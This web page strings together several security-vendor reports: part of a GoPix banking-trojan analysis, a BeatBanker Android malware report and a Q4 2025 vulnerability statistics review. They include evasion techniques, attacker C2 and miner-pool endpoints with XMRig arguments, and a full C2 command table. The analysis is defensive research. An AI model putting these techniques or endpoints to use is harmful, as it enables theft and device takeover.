The GoPix dropper shellcode is built for either the x86 or x64 architecture, depending on the victim’s computer.
Building the GoPix shellcode depending on the targeted architecture
Shellcode
This shellcode is bundled with the malware and stays in encrypted form on disk. It is utilized at two separate stages of the infection chain: first to launch the GoPix dropper and subsequently to execute the main GoPix malware. We’ve observed two versions of this shellcode. The main difference is the old one resolves API addresses by their names, while the latest one employs a hashing algorithm to determine the address of a given API. The API hash calculation begins by generating a hash for the DLL name, and this resulting hash is then used within the function name to compute the final API hash.
The old sample (left) used stack strings with API names. The new sample (right) uses the API hashing obfuscation technique
The first time GoPix is dropped into memory through PowerShell, its structure is as follows:
Memory dropper shellcode
Memory dropper DLL
Main payload shellcode
Main payload DLL
Both DLLs have their MZ signature erased, which helps to evade detection by memory dumping tools that scan for PE files in memory.
MZ signature zeroed
GoPix dropper
When the main function from the dropper is called, it verifies if it is running within an Explorer.exe process; if not, it will terminate. It then sequentially checks for installed browsers — Chrome, Firefox, Edge, and Opera — retrieving the full path of the first detected browser from the registry key SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths. A significant difference from previously analyzed droppers is that this version encrypts each string using a unique algorithm.
After selecting the browser, the dropper uses direct syscalls to launch the chosen browser process in a suspended state. This allows it to inject the main GoPix shellcode and its parameters into the process. The injected shellcode is tasked with extracting and loading the main GoPix implant directly into memory, subsequently calling its exported main function. The parameters passed include the number 1, to trigger the main GoPix function, and the current Process ID, which is that of Explorer.exe.
The dropper uses a syscall instruction and calls the GoPix in-memory implant’s main function
Main GoPix implant
Clipboard stealing functionality
Boleto bancário was added as one of the targets to the malware’s clipboard stealing and replacing feature. Boleto is a popular payment method in Brazil that functions similarly to an invoice, being the second most popular payment system in the country. It is a standardized document that includes important payment information such as the amount due, due date, and details of the payee. It features a typeable line, which is a sequence of numbers that can be entered in online banking applications to pay. This line is what GoPix targets with its functionality. An example of such a line is “23790.12345 60000.123456 78901.234567 8 76540000010000”.
Boleto bancário targeted in clipboard-stealing functionality
When GoPix detects a Pix or Boleto transaction, it simply sends this information to the C2. However, when a Bitcoin or Ethereum wallet is copied to the clipboard, the malware replaces the address with one belonging to the threat actor.
Unique man-in-the-middle attack
PAC (Proxy AutoConfig) files are nothing new; they’ve been used by Brazilian criminals for over two decades, but GoPix takes this to another level. While in the past, criminals used PAC files to redirect victims to a fake phishing page, the purpose of the PAC file in GoPix attacks is to manipulate the traffic while the user navigates the legitimate financial website.
In order to hide which site GoPix wants to intercept, it uses a CRC32 algorithm in the host field of the PAC file. It is formatted on the fly using a pf configuration file: the items in it determine which proxy the victim will be redirected to. To hide its malicious proxy server, once a connection is opened to the proxy server, the malware enumerates all connections and finds the process that initiated it. It then takes the process executable name CRC32C checksum and compares it with a hardcoded list of browsers’ CRC checksums. If it doesn’t match a known browser, the malware simply terminates the connection.
PAC file excerpt
To uncover GoPix targets, we compiled a list of many Brazilian financial institution domains and subdomains, computed their CRC32 checksums, and compared them against GoPix hardcoded values. The table below shows each CRC32 and its target.
CRC32
Target
8BD688E8
local
8CA8ACFF
www2.banco********.com.br
AD8F5213
autoatendimento.********.com.br
105A3F17
www2.****.com.br
B477FE70
internetbanking.*******.gov.br
785F39C2
loginx.********.br
C72C8593
internetpf.*****.com.br
75E3C3BA
internet.*****.com.br
FD4E6024
internetbanking.*******.com.br
HTTPS interception
Since every communication is encrypted via HTTPS, GoPix bypasses this by injecting a trusted root certificate into the memory of a web browser while on the victim’s machine. This allows the attacker to sniff and even manipulate the victim’s traffic. We have found two certificates across GoPix samples, one that expired in January 2025 and another created in February 2025 that is set to expire in February 2027.
GoPix trusted root certificate
Conclusion
With the ability to load its memory-only implant that employs a malicious Proxy AutoConfig (PAC) file and an HTTP server to execute an unprecedented man-in-the-middle attack, GoPix is by far the most advanced banking Trojan of Brazilian origin. The injection of a trusted root certificate into the browser enhances its ability to intercept and manipulate sensitive financial data while maintaining its stealth profile, as the malicious certificate is not visible to operating system tools. Additionally, GoPix has expanded its clipboard monitoring capability by adding Boleto slips to its arsenal, which already includes Pix transactions and cryptowallets addresses.
This is a sophisticated threat, with multiple layers of evasion, persistence, and functionality. The investigation into the malware’s shellcode, dropper, and main module uncovered intricate mechanisms, including process jumping to leverage specific functionalities across processes. This technique, combined with robust string encryption methods applied to both the dropper and main payload, indicates that the threat actor has gone to great lengths to hinder detection. Interestingly enough, attackers adopted the use of a legitimate commercial anti-fraud service to pre-qualify their targets, aiming to avoid sandboxes and security researchers’ investigations. Additionally, the persistence and cleanup mechanisms implemented by the malware enhance its durability during incident response efforts, with very short C2 lifespans.
Recently, we uncovered BeatBanker, an Android‑based malware campaign targeting Brazil. It spreads primarily through phishing attacks via a website disguised as the Google Play Store. To achieve their goals, the malicious APKs carry multiple components, including a cryptocurrency miner and a banking Trojan capable of completely hijacking the device and spoofing screens, among other things. In a more recent campaign, the attackers switched from the banker to a known RAT.
This blog post outlines each phase of the malware’s activity on the victim’s handset, explains how it ensures long‑term persistence, and describes its communication with mining pools.
Key findings:
To maintain persistence, the Trojan employs a creative mechanism: it plays an almost inaudible audio file on a loop so it cannot be terminated. This inspired us to name it BeatBanker.
It monitors battery temperature and percentage, and checks whether the user is using the device.
At various stages of the attack, BeatBanker disguises itself as a legitimate application on the Google Play Store and as the Play Store itself.
It deploys a banker in addition to a cryptocurrency miner.
When the user tries to make a USDT transaction, BeatBanker creates overlay pages for Binance and Trust Wallet, covertly replacing the destination address with the threat actor’s transfer address.
New samples now drop BTMOB RAT instead of the banking module.
Initial infection vector
The campaign begins with a counterfeit website, cupomgratisfood[.]shop, that looks exactly like the Google Play Store. This fake app store contains the “INSS Reembolso” app, which is in fact a Trojan. There are also other apps that are most likely Trojans too, but we haven’t obtained them.
The INSS Reembolso app poses as the official mobile portal of Brazil’s Instituto Nacional do Seguro Social (INSS), a government service that citizens can use to perform more than 90 social security tasks, from retirement applications and medical exam scheduling to viewing CNIS (National Registry of Social Information), tax, and payment statements, as well as tracking request statuses. By masquerading as this trusted platform, the fake page tricks users into downloading the malicious APK.
Packing
The initial APK file is packed and makes use of a native shared library (ELF) named libludwwiuh.so that is included in the application. Its main task is to decrypt another ELF file that will ultimately load the original DEX file.
First, libludwwiuh.so decrypts an embedded encrypted ELF file and drops it to a temporary location on the device under the name l.so. The same code that loaded the libludwwiuh.so library then loads this file, which uses the Java Native Interface (JNI) to continue execution.
l.so – the DEX loader
The library does not have calls to its functions; instead, it directly calls the Java methods whose names are encrypted in the stack using XOR (stack strings technique) and restored at runtime:
Initially, the loader makes a request to collect some network information using https://ipapi.is to determine whether the infected device is a mobile device, if a VPN is being used, and to obtain the IP address and other details.
This loader is engineered to bypass mobile antivirus products by utilizing dalvik.system.InMemoryDexClassLoader. It loads malicious DEX code directly into memory, avoiding the creation of any files on the device’s file system. The necessary DEX files can be extracted using dynamic analysis tools like Frida.
Furthermore, the sample incorporates anti-analysis techniques, including runtime checks for emulated or analysis environments. When such an environment is detected (or when specific checks fail, such as verification of the supported CPU_ABI), the malware can immediately terminate its own process by invoking android.os.Process.killProcess(android.os.Process.myPid()), effectively self-destructing to hinder dynamic analysis.
After execution, the malware displays a user interface that mimics the Google Play Store page, showing an update available for the INSS Reembolso app. This is intended to trick victims into granting installation permissions by tapping the “Update” button, which allows the download of additional hidden malicious payloads.
The payload delivery process mimics the application update. The malware uses the REQUEST_INSTALL_PACKAGES permission to install APK files directly into its memory, bypassing Google Play. To ensure persistence, the malware keeps a notification about a system update pinned to the foreground and activates a foreground service with silent media playback, a tactic designed to prevent the operating system from terminating the malicious process.
Crypto mining
When UPDATE is clicked on a fake Play Store screen, the malicious application downloads and executes an ELF file containing a cryptomining payload. It starts by issuing a GET request to the C2 server at either hxxps://accessor.fud2026.com/libmine-<arch>.so or hxxps://fud2026.com/libmine-<arch>.so. The downloaded file is then decrypted using CipherInputStream(), with the decryption key being derived from the SHA-1 hash of the downloaded file’s name, ensuring that each version of the file is encrypted with a unique key. The resulting file is renamed d-miner.
The decrypted payload is an ARM-compiled XMRig 6.17.0 binary. At runtime, it attempts to create a direct TCP connection to pool.fud2026[.]com:9000. If successful, it uses this endpoint; otherwise, it automatically switches to the proxy endpoint pool-proxy.fud2026[.]com:9000. The final command-line arguments passed to XMRig are as follows:
-o pool.fud2026[.]com:9000 or pool-proxy.fud2026[.]com:9000 (selected dynamically)
-k (keepalive)
--tls (encrypted connection)
--no-color (disable colored output)
--nicehash (NiceHash protocol support)
C2 telemetry
The malware uses Google’s legitimate Firebase Cloud Messaging (FCM) as its primary command‑and‑control (C2) channel. In the analyzed sample, each FCM message received triggers a check of the battery status, temperature, installation date, and user presence. A hidden cryptocurrency miner is then started or stopped as needed. These mechanisms ensure that infected devices remain permanently accessible and responsive to the attacker’s instructions, which are sent through the FCM infrastructure. The attacker monitors the following information:
isCharging: indicates whether the phone is charging;
batteryLevel: the exact battery percentage;
isRecentInstallation: indicates whether the application was recently installed (if so, the implant delays malicious actions);
isUserAway: indicates whether the user is away from the device (screen off and inactive);
overheat: indicates whether the device is overheating;
temp: the current battery temperature.
Persistence
The KeepAliveServiceMediaPlayback component ensures continuous operation by initiating uninterrupted playback via MediaPlayer. It keeps the service active in the foreground using a notification and loads a small, continuous audio file. This constant activity prevents the system from suspending or terminating the process due to inactivity.
The identified audio output8.mp3 is five seconds long and plays on a loop. It contains some Chinese words.
Banking module
BeatBanker compromises the machine with a cryptocurrency miner and introduces another malicious APK that acts as a banking Trojan. This Trojan uses previously obtained permission to install an additional APK called INSS Reebolso, which is associated with the package com.destination.cosmetics.
Similar to the initial malicious APK, it establishes persistence by creating and displaying a fixed notification in the foreground to hinder removal. Furthermore, BeatBanker attempts to trick the user into granting accessibility permissions to the package.
Leveraging the acquired accessibility permissions, the malware establishes comprehensive control over the device’s user interface.
The Trojan constantly monitors the foreground application. It targets the official Binance application (com.binance.dev) and the Trust Wallet application (com.wallet.crypto.trustapp), focusing on USDT transactions. When a user tries to withdraw USDT, the Trojan instantly overlays the target app’s transaction confirmation screen with a highly realistic page sourced from Base64-encoded HTML stored in the banking module.
The module captures the original withdrawal address and amount, then surreptitiously substitutes the destination address with an attacker-controlled one using AccessibilityNodeInfo.ACTION_SET_TEXT. The overlay page shows the victim the address they copied (for Binance) or just shows a loading icon (for Trust Wallet), leading them to believe they are remitting funds to the intended wallet when, in fact, the cryptocurrency is transferred to the attacker’s designated address.
Fake overlay pages: Binance (left) and Trust Wallet (right)
Target browsers
BeatBanker’s banking module monitors the following browsers installed on the victim’s device:
Chrome
Firefox
sBrowser
Brave
Opera
DuckDuckGo
Dolphin Browser
Edge
Its aim is to collect the URLs accessed by the victim using the regular expression ^(?:https?://)?(?:[^:/\\\\]+\\\\.)?([^:/\\\\]+\\\\.[^:/\\\\]+). It also offers management functionalities (add, edit, delete, list) for links saved in the device’s default browser, as well as the ability to open links provided by the attacker.
C2 communication
BeatBanker is also designed to receive commands from the C2. These commands aim to collect the victim’s personal information and gain complete control of the device.
Command
Description
0
Starts dynamic loading of the DEX class
Update
Simulates software update and locks the screen
msg:
Displays a Toast message with the provided text
goauth<*>
Opens Google Authenticator (if installed) and enables the AccessService.SendGoogleAuth flag used to monitor and retrieve authentication codes
kill<*>
Sets the protection bypass flag AccessService.bypass to “True”
and sets the initializeService.uninstall flag to “Off”
srec<*>
Starts or stops audio recording (microphone), storing the recorded data in a file with an automatically generated filename. The following path format is used to store the recording: /Config/sys/apps/rc/<timestamp>_0REC<last5digits>.wav
pst<*>
Pastes text from the clipboard (via Accessibility Services)
GRC<*>
Lists all existing audio recording files
gtrc<*>
Sends a specific audio recording file to the C2
lcm<*>
Lists supported front camera resolutions
usdtress<*>
Sets a USDT cryptocurrency address when a transaction is detected
lnk<*>
Opens a link in the browser
EHP<*>
Updates login credentials (host, port, name) and restarts the application
ssms<*>
Sends an SMS message (individually or to all contacts)
CRD<*>
Adds (E>) or removes (D>) packages from the list of blocked/disabled applications
SFD<*>
Deletes files (logs, recordings, tones) or uninstalls itself
adm<>lck<>
Immediately locks the screen using Device Administrator permissions
adm<>wip<>
Performs a complete device data wipe (factory reset)
Aclk<*>
Executes a sequence of automatic taps (auto-clicker) or lists existing macros
KBO<*>lod
Checks the status of the keylogger and virtual keyboard
KBO<*>AKP/AKA
Requests permission to activate a custom virtual keyboard or activates one
Requests Draw Over Other Apps permission (overlay)
RPM<*>INST
Requests permission to install apps from unknown sources (Android 8+)
ussd<*>
Executes a USSD code (e.g., *#06# for IMEI)
Blkt<*>
Sets the text for the lock overlay
BLKV<*>
Enables or disables full-screen lock using WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY to display a black FrameLayout element over the entire screen
SCRD<> / SCRD2<>
Enables/disables real-time screen text submission to the C2 (screen reading)
Controls VPN and firewall (status, block/allow apps, enable/disable)
noti<*>
Creates persistent and custom notifications
sp<*>
Executes a sequence of swipes/taps (gesture macro)
lodp<*>
Manages saved links in the internal browser (add, edit, delete, list)
scc:
Starts screen capture/streaming
New BeatBanker samples dropping BTMOB
Our recent detection efforts uncovered a campaign leveraging a fraudulent StarLink application that we assess as being a new BeatBanker variant. The infection chain mirrored previous instances, employing identical persistence methods – specifically, looped audio and fixed notifications. Furthermore, this variant included a crypto miner similar to those seen previously. However, rather than deploying the banking module, it was observed distributing the BTMOB remote administration tool.
The BTMOB APK is highly obfuscated and contains a class responsible for configuration. Despite this, it’s possible to identify a parser used to define the application’s behavior on the device, as well as persistence features, such as protection against restart, deletion, lock reset, and the ability to perform real-time screen recording.
String decryption
The simple decryption routine uses repetitive XOR between the encrypted data and a short key. It iterates through the encrypted text byte by byte, repeating the key from the beginning whenever it reaches the end. At each position, the sample XORs the encrypted byte with the corresponding byte of the key, overwriting the original. Ultimately, the modified byte array contains the original text, which is then converted to UTF-8 and returned as a string.
Malware-as-a-Service
BTMOB is an Android remote administration tool that evolved from the CraxsRAT, CypherRAT, and SpySolr families. It provides full remote control of the victim’s device and is sold in a Malware-as-a-Service (MaaS) model. On July 26, 2025, a threat actor posted a screenshot of the BTMOB RAT in action on GitHub under the username “brmobrats”, along with a link to the website btmob[.]xyz. The website contains information about the BTMOB RAT, including its version history, features, and other relevant details. It also redirects to a Telegram contact. Cyfirma has already linked this account to CraxsRAT and CypherRAT.
Recently, a YouTube channel was created by a different threat actor that features videos demonstrating how to use the malware and facilitate its sale via Telegram.
We also saw the distribution and sale of leaked BTMOB source code on some dark web forums. This may suggest that the creator of BeatBanker acquired BTMOB from its original author or the source of the leak and is utilizing it as the final payload, replacing the banking module observed in the INSS Reebolso incident.
In terms of functionality, BTMOB maintains a set of intrusive capabilities, including: automatic granting of permissions, especially on Android 13–15 devices; use of a black FrameLayout overlay to hide system notifications similar to the one observed in the banking module; silent installation; persistent background execution; and mechanisms designed to capture screen lock credentials, including PINs, patterns, and passwords. The malware also provides access to front and rear cameras, captures keystrokes in real time, monitors GPS location, and constantly collects sensitive data. Together, these functionalities provide the operator with comprehensive remote control, persistent access, and extensive surveillance capabilities over compromised devices.
Victims
All variants of BeatBanker – those with the banking module and those with the BTMOB RAT – were detected on victims in Brazil. Some of the samples that deliver BTMOB appear to use WhatsApp to spread, as well as phishing pages.
Conclusion
BeatBanker is an excellent example of how mobile threats are becoming more sophisticated and multi-layered. Initially focused in Brazil, this Trojan operates a dual campaign, acting as a Monero cryptocurrency miner, discreetly draining your device’s battery life while also stealing banking credentials and tampering with cryptocurrency transactions. Moreover, the most recent version goes even further, substituting the banking module with a full-fledged BTMOB RAT.
The attackers have devised inventive tricks to maintain persistence. They keep the process alive by looping an almost inaudible audio track, which prevents the operating system from terminating it and allows BeatBanker to remain active for extended periods.
Furthermore, the threat demonstrates an obsession with staying hidden. It monitors device usage, battery level and temperature. It even uses Google’s legitimate system (FCM) to receive commands. The threat’s banking module is capable of overlaying Binance and Trust Wallet screens and diverting USDT funds to the criminals’ wallets before the victim even notices.
The lesson here is clear: distrust is your best defense. BeatBanker spreads through fake websites that mimic Google Play, disguising itself as trustworthy government applications. To protect yourself against threats like this, it is essential to:
Download apps only from official sources. Always use the Google Play Store or the device vendor’s official app store. Make sure you use the correct app store app, and verify the developer.
Check permissions. Pay attention to the permissions that applications request, especially those related to accessibility and installation of third-party packages.
Keep the system updated. Security updates for Android and your mobile antivirus are essential.
Our solutions detect this threat as HEUR:Trojan-Dropper.AndroidOS.BeatBanker and HEUR:Trojan-Dropper.AndroidOS.Banker.*
The fourth quarter of 2025 went down as one of the most intense periods on record for high-profile, critical vulnerability disclosures, hitting popular libraries and mainstream applications. Several of these vulnerabilities were picked up by attackers and exploited in the wild almost immediately.
In this report, we dive into the statistics on published vulnerabilities and exploits, as well as the known vulnerabilities leveraged with popular C2 frameworks throughout Q4 2025.
Statistics on registered vulnerabilities
This section contains statistics on registered vulnerabilities. The data is taken from cve.org.
Let’s take a look at the number of registered CVEs for each month over the last five years, up to and including the end of 2025. As predicted in our last report, Q4 saw a higher number of registered vulnerabilities than the same period in 2024, and the year-end totals also cleared the bar set the previous year.
Total published vulnerabilities by month from 2021 through 2025 (download)
Now, let’s look at the number of new critical vulnerabilities (CVSS > 8.9) for that same period.
Total number of published critical vulnerabilities by month from 2021 to 2025< (download)
The graph shows that the volume of critical vulnerabilities remains quite substantial; however, in the second half of the year, we saw those numbers dip back down to levels seen in 2023. This was due to vulnerability churn: a handful of published security issues were revoked. The widespread adoption of secure development practices and the move toward safer languages also pushed those numbers down, though even that couldn’t stop the overall flood of vulnerabilities.
Exploitation statistics
This section contains statistics on the use of exploits in Q4 2025. The data is based on open sources and our telemetry.
Windows and Linux vulnerability exploitation
In Q4 2025, the most prevalent exploits targeted the exact same vulnerabilities that dominated the threat landscape throughout the rest of the year. These were exploits targeting Microsoft Office products with unpatched security flaws.
Kaspersky solutions detected the most exploits on the Windows platform for the following vulnerabilities:
CVE-2018-0802: a remote code execution vulnerability in Equation Editor.
CVE-2017-11882: another remote code execution vulnerability, also affecting Equation Editor.
CVE-2017-0199: a vulnerability in Microsoft Office and WordPad that allows an attacker to assume control of the system.
The list has remained unchanged for years.
We also see that attackers continue to adapt exploits for directory traversal vulnerabilities (CWE-35) when unpacking archives in WinRAR. They are being heavily leveraged to gain initial access via malicious archives on the Windows operating system:
CVE-2023-38831: a vulnerability stemming from the improper handling of objects within an archive.
CVE-2025-6218 (formerly ZDI-CAN-27198): a vulnerability that enables an attacker to specify a relative path and extract files into an arbitrary directory. This can lead to arbitrary code execution. We covered this vulnerability in detail in our Q2 2025 report.
CVE-2025-8088: a vulnerability we analyzed in our previous report, analogous to CVE-2025-6218. The attackers used NTFS streams to circumvent controls on the directory into which files were being unpacked.
As in the previous quarter, we see a rise in the use of archiver exploits, with fresh vulnerabilities increasingly appearing in attacks.
Below are the exploit detection trends for Windows users over the last two years.
Dynamics of the number of Windows users encountering exploits, Q1 2024 – Q4 2025. The number of users who encountered exploits in Q1 2024 is taken as 100% (download)
The vulnerabilities listed here can be used to gain initial access to a vulnerable system. This highlights the critical importance of timely security updates for all affected software.
On Linux-based devices, the most frequently detected exploits targeted the following vulnerabilities:
CVE-2022-0847, also known as Dirty Pipe: a vulnerability that allows privilege escalation and enables attackers to take control of running applications.
CVE-2019-13272: a vulnerability caused by improper handling of privilege inheritance, which can be exploited to achieve privilege escalation.
CVE-2021-22555: a heap overflow vulnerability in the Netfilter kernel subsystem.
CVE-2023-32233: another vulnerability in the Netfilter subsystem that creates a use-after-free condition, allowing for privilege escalation due to the improper handling of network requests.
Dynamics of the number of Linux users encountering exploits, Q1 2024 – Q4 2025. The number of users who encountered exploits in Q1 2024 is taken as 100% (download)
We are seeing a massive surge in Linux-based exploit attempts: in Q4, the number of affected users doubled compared to Q3. Our statistics show that the final quarter of the year accounted for more than half of all Linux exploit attacks recorded for the entire year. This surge is primarily driven by the rapidly growing number of Linux-based consumer devices. This trend naturally attracts the attention of threat actors, making the installation of security patches critically important.
Most common published exploits
The distribution of published exploits by software type in Q4 2025 largely mirrors the patterns observed in the previous quarter. The majority of exploits we investigate through our monitoring of public research, news, and PoCs continue to target vulnerabilities within operating systems.
Distribution of published exploits by platform, Q1 2025 (download)
Distribution of published exploits by platform, Q2 2025 (download)
Distribution of published exploits by platform, Q3 2025 (download)
Distribution of published exploits by platform, Q4 2025 (download)
In Q4 2025, no public exploits for Microsoft Office products emerged; the bulk of the vulnerabilities were issues discovered in system components. When calculating our statistics, we placed these in the OS category.
Vulnerability exploitation in APT attacks
We analyzed which vulnerabilities were utilized in APT attacks during Q4 2025. The following rankings draw on our telemetry, research, and open-source data.
TOP 10 vulnerabilities exploited in APT attacks, Q4 2025 (download)
In Q4 2025, APT attacks most frequently exploited fresh vulnerabilities published within the last six months. We believe that these CVEs will remain favorites among attackers for a long time, as fixing them may require significant structural changes to the vulnerable applications or the user’s system. Often, replacing or updating the affected components requires a significant amount of resources. Consequently, the probability of an attack through such vulnerabilities may persist. Some of these new vulnerabilities are likely to become frequent tools for lateral movement within user infrastructure, as the corresponding security flaws have been discovered in network services that are accessible without authentication. This heavy exploitation of very recently registered vulnerabilities highlights the ability of threat actors to rapidly implement new techniques and adapt old ones for their attacks. Therefore, we strongly recommend applying the security patches provided by vendors.
C2 frameworks
In this section, we will look at the most popular C2 frameworks used by threat actors and analyze the vulnerabilities whose exploits interacted with C2 agents in APT attacks.
The chart below shows the frequency of known C2 framework usage in attacks against users during Q4 2025, according to open sources.
TOP 10 C2 frameworks used by APTs to compromise user systems in Q4 2025 (download)
Despite the significant footprints it can leave when used in its default configuration, Sliver continues to hold the top spot among the most common C2 frameworks in our Q4 2025 analysis. Mythic and Havoc were second and third, respectively. After reviewing open sources and analyzing malicious C2 agent samples that contained exploits, we found that the following vulnerabilities were used in APT attacks involving the C2 frameworks mentioned above:
CVE-2025-55182: a React2Shell vulnerability in React Server Components that allows an unauthenticated user to send commands directly to the server and execute them from RAM.
CVE-2023-36884: a vulnerability in the Windows Search component that allows the execution of commands on a system, bypassing security mechanisms built into Microsoft Office applications.
CVE-2025-53770: a critical insecure deserialization vulnerability in Microsoft SharePoint that allows an unauthenticated user to execute commands on the server.
CVE-2020-1472, also known as Zerologon, allows for compromising a vulnerable domain controller and executing commands as a privileged user.
CVE-2021-34527, also known as PrintNightmare, exploits flaws in the Windows print spooler subsystem, enabling remote access to a vulnerable OS and high-privilege command execution.
CVE-2025-8088 and CVE-2025-6218 are similar directory-traversal vulnerabilities that allow extracting files from an archive to a predefined path without the archiving utility notifying the user.
The set of vulnerabilities described above suggests that attackers have been using them for initial access and early-stage maneuvers in vulnerable systems to create a springboard for deploying a C2 agent. The list of vulnerabilities includes both zero-days and well-known, established security issues.
Notable vulnerabilities
This section highlights the most noteworthy vulnerabilities that were publicly disclosed in Q4 2025 and have a publicly available description.
React2Shell (CVE-2025-55182): a vulnerability in React Server Components
We typically describe vulnerabilities affecting a specific application. CVE-2025-55182 stood out as an exception, as it was discovered in React, a library primarily used for building web applications. This means that exploiting the vulnerability could potentially disrupt a vast number of applications that rely on the library. The vulnerability itself lies in the interaction mechanism between the client and server components, which is built on sending serialized objects. If an attacker sends serialized data containing malicious functionality, they can execute JavaScript commands directly on the server, bypassing all client-side request validation. Technical details about this vulnerability and an example of how Kaspersky solutions detect it can be found in our article.
CVE-2025-54100: command injection during the execution of curl (Invoke-WebRequest)
This vulnerability represents a data-handling flaw that occurs when retrieving information from a remote server: when executing the curl or Invoke-WebRequest command, Windows launches Internet Explorer in the background. This can lead to a cross-site scripting (XSS) attack.
CVE-2025-11001: a vulnerability in 7-Zip
This vulnerability reinforces the trend of exploiting security flaws found in file archivers. The core of CVE-2025-11001 lies in the incorrect handling of symbolic links. An attacker can craft an archive so that when it is extracted into an arbitrary directory, its contents end up in the location pointed to by a symbolic link. The likelihood of exploiting this vulnerability is significantly reduced because utilizing such functionality requires the user opening the archive to possess system administrator privileges.
This vulnerability was associated with a wave of misleading news reports claiming it was being used in real-world attacks against end users. This misconception stemmed from an error in the security bulletin.
RediShell (CVE-2025-49844): a vulnerability in Redis
The year 2025 saw a surge in high-profile vulnerabilities, several of which were significant enough to earn a unique nickname. This was the case with CVE-2025-49844, also known as RediShell, which was unveiled during a hacking competition. This vulnerability is a use-after-free issue related to how the load command functions within Lua interpreter scripts. To execute the attack, an attacker needs to prepare a malicious script and load it into the interpreter.
As with any named vulnerability, RediShell was immediately weaponized by threat actors and spammers, albeit in a somewhat unconventional manner. Because technical details were initially scarce following its disclosure, the internet was flooded with fake PoC exploits and scanners claiming to test for the vulnerability. In the best-case scenario, these tools were non-functional; in the worst, they infected the system. Notably, these fraudulent projects were frequently generated using LLMs. They followed a standardized template and often cross-referenced source code from other identical fake repositories.
CVE-2025-24990: a vulnerability in the ltmdm64.sys driver
Driver vulnerabilities are often discovered in legitimate third-party applications that have been part of the official OS distribution for a long time. Thus, CVE-2025-24990 has existed within code shipped by Microsoft throughout nearly the entire history of Windows. The vulnerable driver has been shipped since at least Windows 7 as a third-party driver for Agere Modem. According to Microsoft, this driver is no longer supported and, following the discovery of the flaw, was removed from the OS distribution entirely.
The vulnerability itself is straightforward: insecure handling of IOCTL codes leading to a null pointer dereference. Successful exploitation can lead to arbitrary command execution or a system crash resulting in a blue screen of death (BSOD) on modern systems.
CVE-2025-59287: a vulnerability in Windows Server Update Services (WSUS)
CVE-2025-59287 represents a textbook case of insecure deserialization. Exploitation is possible without any form of authentication; due to its ease of use, this vulnerability rapidly gained traction among threat actors. Technical details and detection methodologies for our product suite have been covered in our previous advisories.
Conclusion and advice
In Q4 2025, the rate of vulnerability registration has shown no signs of slowing down. Consequently, consistent monitoring and the timely application of security patches have become more critical than ever. To ensure resilient defense, it is vital to regularly assess and remediate known vulnerabilities while implementing technology designed to mitigate the impact of potential exploits.
Continuous monitoring of infrastructure, including the network perimeter, allows for the timely identification of threats and prevents them from escalating. Effective security also demands tracking the current threat landscape and applying preventative measures to minimize risks associated with system flaws. Kaspersky Next serves as a reliable partner in this process, providing real-time identification and detailed mapping of vulnerabilities within the environment.
Securing the workplace remains a top priority. Protecting corporate devices requires the adoption of solutions capable of blocking malware and preventing it from spreading. Beyond basic measures, organizations should implement adaptive systems that allow for the rapid deployment of security updates and the automation of patch management workflows.
Entrar
![Fake CAPTCHA page at the URL https://evs.grupotuis[.]buzz/0capcha17/](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/02/24133444/horabot-campaign1.png)
![Fallback to hardcoded socket address (lifenews[.]pro:49569)](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/02/24182634/horabot-campaign14.png)
